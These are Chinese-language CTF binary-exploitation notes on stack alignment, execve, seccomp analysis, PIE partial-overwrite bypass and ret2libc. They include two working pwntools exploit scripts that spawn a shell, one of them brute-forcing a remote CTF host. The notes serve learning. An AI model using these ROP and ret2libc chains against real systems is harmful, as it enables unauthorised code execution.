nc 签到
没啥好说的
64位调用system
https://www.cnblogs.com/nemuzuki/p/17304843.html
在调用system的时候得避免push rbp
因为Ubuntu18,18及以上版本的系统要求在调用system函数时栈16字节对齐
还有就是在调用之前ret指令一次,弹出一次栈
call_system参数
system的参数在rdi里面,通过
pop rdi
retn
可以达到把参数压入rdi中
execve
int execve(const char *file,char *const argv[],char *const envp[])
第一个参数用来打开运行的二进制文件
execve会接改变进程的函数内容,这个函数后面的代码全部不执行,转头去执行我们第一个参数指向的二进制代码
1、文件路径为/bin/sh,这个sh其实是个shell程序,如果argv是空(0也可以),那么就会去打开一个shell,所以execve(“/bin/sh”,0,0)是我们最常用的
如果argv不为空那么sh就可以变成变成一个shell脚本解析器
这时候argv应该是这么组成char *argv[]={“/bin/sh”,”flag”,NULL}这样子
如果argv里面的要解析的文件不是shell程序,那么就会把文件内容以报错的形式输出出来
2、文件路径为/bin/cat,这个cat故名思议就是打印文件内容的程序,函数形式为execve(“/bin/cat”,argv,0),argv[]={“/bin/cat”,”flag”,NULL},zhege argv的第二个变量是要打印的文件的名字,这样子就可以把flag文件打印出来了
分析 seccomp
使用seccomp-tools
https://blog.csdn.net/am_03/article/details/119870152
seccomp-tools dump ./ret2orw
┌──(kali㉿kali)-[~/pm/isctf/ret2orw]
└─$ seccomp-tools dump ./ret2orw
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
PIE绕过
PIE(position-independent executable, 地址无关可执行文件)技术是一个针对代码段.text, 数据段.*data,.bss等固定地址的一个防护技术。同ASLR一样,应用了PIE的程序会在每次加载时都变换加载基址,从而使位于程序本身的gadget也失效。
https://www.cnblogs.com/ichunqiu/p/11350476.html
partial write bypass PIE
partial write(部分写入)就是一种利用了PIE技术缺陷的bypass技术。由于内存的页载入机制,PIE的随机化只能影响到单个内存页。通常来说,一个内存页大小为0x1000,这就意味着不管地址怎么变,某条指令的后12位,3个十六进制数的地址是始终不变的。因此通过覆盖EIP的后8或16位 (按字节写入,每字节8位)就可以快速爆破或者直接劫持EIP。
from pwn import *
context(arch = 'amd64',os = 'linux')
r = "/home/kali/python/pwn/nssctf/Hello_world/attachment"
i=0
while True:
p = remote("node2.anna.nssctf.cn",28818)
# elf = ELF(r)
print(i)
i+=1
bin_sh = b'\xC5\x09'
flag = b'a'*40 + bin_sh
p.recvuntil(b'wner!')
# gdb.attach(p,"b read")
p.send(flag)
p.recv()
try:
p.recv(timeout= 1)
except EOFError:
p.close()
continue
else:
sleep(0.1)
p.interactive()
break
栈平衡
在某些函数中的某些汇编代码,可能需要地址对齐这主要看rsp地址的最后一个是不是0,所以在很多时候,我们可以在执行函数的地方前加一个ret用来栈平衡。
ret2lib1
ret2lib1的主要思想是地址泄露,最重要的也是如何泄露地址,一般是在类似read
或者write
中发现然后通过puts等函数直接泄露地址,然后通过泄露的函数地址算出动态链接的基地址,后面就是调用了
from pwn import *
from LibcSearcher import *
# from LibcSearcher import LibcSearcher
context(arch = 'amd64',os = 'linux',log_level = 'debug')
r = "/home/kali/python/pwn/nssctf/GHCTF/ret2libc1/attachment"
# lib1 = "/home/kali/python/pwn/nssctf/GHCTF/ret2libc1/libc.so.6"
p = process([r])#,env={'LD_PRELOAD':lib1}
# p= remote("node2.anna.nssctf.cn",28940)
l = ELF(r)
p.recvuntil(b'youer money')
p.send(b'1')
p.recvuntil(b'would you like buy?')
p.send(b'2')
p.recvuntil(b'How many flowers do you want to buy?')
p.send(b'-100000')
p.recvuntil(b'youer money')
p.send(b'5')
p.recvuntil(b'name it!!!')
# gets = l.symbols['gets']
pop_rdi=0x0400d73
ret_addr =0x0400579
read_pot = l.got['puts']
puts_plt = l.plt['puts']
read_re = 0x0400B1E
flag = b'a'*(64+8)+p64(pop_rdi)+p64(read_pot)+p64(puts_plt)+p64(read_re)
# gdb.attach(p,'b read')
p.send(flag)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("puts_addr",hex(puts_addr))
# lib= ELF(lib1)
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')
# libc_base = puts_addr - lib.sym['puts']
# system_addr = libc_base+lib.sym['systemrea']
# bin_sh_addr = libc_base+ next(lib.search("/bin/sh"))
payload = b'a'*(64+8) + p64(ret_addr)+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)+p64(0xdeadbeef)
# gdb.attach(p,'b read')
p.recvuntil(b'name it!!!')
p.send(payload)
p.interactive()
#ubuntu-glibc (id libc6_2.23-0ubuntu11.3_amd64)